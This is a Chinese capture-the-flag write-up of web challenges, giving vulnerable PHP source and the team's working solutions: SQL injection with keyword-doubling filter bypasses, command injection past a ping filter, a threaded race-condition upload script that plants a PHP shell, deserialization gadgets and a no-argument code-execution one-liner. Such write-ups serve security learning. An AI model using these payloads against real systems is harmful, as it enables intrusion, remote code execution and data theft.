GXY CTF&安恒杯12月月赛 wp

V&N np~躺到了第一^-^.以下是这次web的解题思路

BabySqli

源码大致如下:

1
2
3
4
5
6
7
8
9
10
11
$name = $_POST['name'];
$passwd = md5($_POST['pw']);

$sql = "select * from user where username = '$name'";
$query = mysql_query($sql);

if(!strcasecmp($passwd, $query[passwd])){
echo $flag;
}else{
echo "Wrong Pass";
}

参数请求拆分,其逻辑为如果存在用户名,那么会从数据库获取该用户名的密码,如果数据库密码和输入的密码的md5一致则登录成功;可通过union来“插入”一个密码字段:

name='union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

ping ping ping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

解法一

最简单的做法莫过于这个:

?ip=|cat$IFS`ls`

主要还是反斜线可以再次命令执行,没想到这个==

解法二

通过shell的变量和变量引用的拼接:

?ip=;a=l;b=f;c=a;d=g;e=.php;cat$IFS$b$a$c$d$e

这需要注意,赋值时不能按照flag字母的顺序来,不然正则会检测到–

解法三

bash被过滤了,可以通过sh来执行:

?ip=;echo$IFSY2F0IGZsYWcucGhwCg==|base64$IFS-d|sh

babyupload

不能上传后缀包含ph的文件,apache环境想到.htaccess,上传文件发现访问不到,可以想到条件竞争;开了三个多线程,一个上传.htaccess,一个上传shell,一个访问shell,然后,电脑跑着跑着就炸了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import re
import threading

url = 'http://c10c65ef-59db-4ccc-abe4-3cb3f89a9074.node3.buuoj.cn/'
shell_name = ''

def ht():
global url
files = {
'uploaded':('.htaccess', 'SetHandler application/x-httpd-php', 'image/jpeg')
}
while 1:
res = requests.post(url, files=files)

def shell():
global shell_name, url
files1 = {
'uploaded':('a.abc', '<script language="php">echo readfile("/flag"); </script>', 'image/jpeg')
}
while 1:
res = requests.post(url, files=files1)
res.encoding = res.apparent_encoding
try:
shell_name = re.findall("html/(.*) s", res.text)[0]
except:
shell_name = ''



def get():
global shell_name, url
while 1:
res = requests.get(url + shell_name)
print(res.text)


t1 = threading.Thread(target=ht, args=())
t1_1 = threading.Thread(target=ht, args=())
t1_2 = threading.Thread(target=ht, args=())
t2 = threading.Thread(target=shell, args=())
t3 = threading.Thread(target=get, args=())


t1.start()
t1_1.start()
t1_2.start()
t2.start()
t3.start()

babysqli2

可以报错注入;union select where需要双写绕过;flag不在当前表中

当前表数据:

%dd%27and+updatexml(1,concat(1,(selselectect+passwd+from+user)),1)%23

查看所有表:

%dd%27and+updatexml(1,concat(1,(selselectect+group_concat(table_name)+from+information_schema.tables+whwhereere+table_schema=database())),1)%23

这里有点坑,发现group_concat不能一次查出f14g表中所有数据-_-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import re
import base64

url = 'http://183.129.189.60:10006'

for i in range(1,100):
payload = '/search.php?name=%dd%27and+updatexml(1,concat(1,(selselectect+group_concat(`2`)+from+(selecselectt+1,2+uniounionn+selecselectt+*+from+f14g+limit+{},{})b)),1)%23&pw=cdc9c819c7f8be2628d4180669009d28'.format(i,i+1)
url1 = url + payload
s = requests.get(url1).text
content = re.findall("error: '(.*?)'", s)[0]
try:
res = base64.b64decode(content)
print(res)
except Exception as e:
print(content)

BabySqliV3.0

很坑,直接用弱口令登录就行,登录后url为:

/home.php?file=upload

通过文件包含漏洞读取源码:

upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>

home.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ".$file;
require $file;
}

}
else{
die("no permission!");
}
}
?>

解法一

根据upload.php,construct方法会接收name参数,可以定义其为任意文件名;upload方法会将上传的文件命名为name参数指定的文件名;因此,可直接上传一句话getshell:

上传ma.txt,并将url改为:

/upload.php?name=/var/www/html/uploads/1.php

之后访问uploads/1.php即可

解法二

phar反序列化

Do you know robot?

查看robots.txt获取index.php~,访问获取源码;

利用php://filter绕过滤,读取flag.php文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class FileReader{
public $Filename;
public $start;
public $max_length;
function __construct(){
$this->Filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
$this->start = 1;
$this->max_length = 10000;
}
}
$a = new FileReader();
echo serialize($a);
?>

属性个数改为大于原有的个数来绕__wakeup;

利用$_GET$_REQUEST差异,将exp POST传过去来绕过过滤

禁止套娃!

无参RCE

做完了队友问通过git获取到的代码明明过滤了_,但我为撒还能用;仔细一看,才发现git里面的过滤和网站的不一样–算是走运吧

读取当前目录下flag.php:

highlight_file(array_rand(array_flip(scandir(current(localeconv())))));